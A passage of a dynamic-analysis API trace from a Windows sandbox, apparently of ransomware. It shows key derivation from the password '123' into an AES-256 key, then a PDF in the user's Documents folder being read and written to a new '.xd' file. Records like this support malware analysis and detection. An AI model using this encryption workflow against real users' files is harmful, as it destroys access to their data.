| out: lpMsg=0x130ef0c) returned 0 [0069.108] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0069.108] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.108] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.108] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.108] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.108] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.108] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0069.108] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0069.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0069.108] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0069.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0069.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e050, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0069.108] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0069.109] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa5e8) returned 1 [0069.109] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.109] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.110] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0069.110] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.110] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.110] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.110] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.110] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.110] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0069.110] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.110] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.110] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.110] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.110] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.110] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.110] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0069.110] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.110] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.110] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0069.110] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.110] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0069.110] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0069.110] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.110] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.110] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0069.110] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0069.110] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0069.111] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.111] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.111] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.111] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.111] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.111] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0069.111] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.111] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0069.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621558, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0069.111] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0069.111] CryptCreateHash (in: hProv=0x17aa5e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0069.111] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.111] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.111] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.111] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0069.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294d0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0069.111] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0069.111] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0069.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0069.112] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.112] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.112] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.112] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0069.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621738, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0069.112] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0069.112] CryptHashData (hHash=0x164c8b0, pbData=0x16294d0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0069.112] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.112] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.112] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.112] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.112] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.112] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0069.112] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.112] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0069.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16218a0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0069.113] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0069.113] CryptDeriveKey (in: hProv=0x17aa5e8, Algid=0x6610, hBaseData=0x164c8b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c4f0) returned 1 [0069.113] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.113] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.113] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.113] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.113] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.113] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.113] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0069.113] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0069.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0069.113] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0069.113] CryptDestroyHash (hHash=0x164c8b0) returned 1 [0069.113] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.113] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.113] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.113] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.113] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.114] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\7BCW-l_.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\7bcw-l_.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0069.114] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.115] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0069.115] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.115] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.115] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.115] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0069.137] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\7BCW-l_.pdf.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\7bcw-l_.pdf.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0069.138] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.138] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.138] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.138] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.140] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0069.140] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0069.142] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xa9c, lpOverlapped=0x0) returned 1 [0069.142] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0069.146] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.146] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.146] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.146] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0069.148] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.148] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.148] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0069.148] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0069.148] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0069.148] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0069.148] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0069.148] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.148] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0069.149] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0069.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164df90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0069.149] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0069.149] CryptGetKeyParam (in: hKey=0x164c4f0, dwParam=0x7, pbData=0x1629340, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629340*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0069.149] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0069.149] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0069.149] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.149] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.149] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.149] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.149] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.149] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.149] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0069.149] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.150] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0069.150] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0069.150] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.150] 